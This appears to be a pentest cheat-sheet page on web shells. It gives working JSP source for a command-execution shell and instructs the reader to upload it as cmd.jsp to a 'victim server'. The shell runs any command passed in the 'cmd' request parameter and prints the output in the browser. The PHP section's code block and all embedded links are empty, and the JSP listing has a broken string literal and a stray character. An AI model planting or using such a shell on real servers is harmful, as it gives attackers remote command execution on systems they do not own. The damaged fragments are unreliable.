# Web Shells
## JSP
1. Save the [source code](https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/jsp/cmd.jsp) below as cmd.jsp and upload to the victim server.
2. Enter the command in the input box and click “Execute”. The command output will be displayed on the page in the web browser.
```javascript
<%@ page import="java.util.*,java.io.*"%>
<%
%>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "
");
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
p
```
Other JSP Shells:
1. JSP Reverse+Web Shell:
{% embed url="" %}
2. JSP Web Shells Mix:
{% embed url="" %}
## PHP
Classic payload to execute commands:
```php
```
A really simple and tiny PHP Web shell for executing unix commands from web page:
{% embed url="" %}
A Simple PHP Web Shell used for Remote Code Execution:
{% embed url="" %}
A very simple but functional PHP webshell:
{% embed url="" %}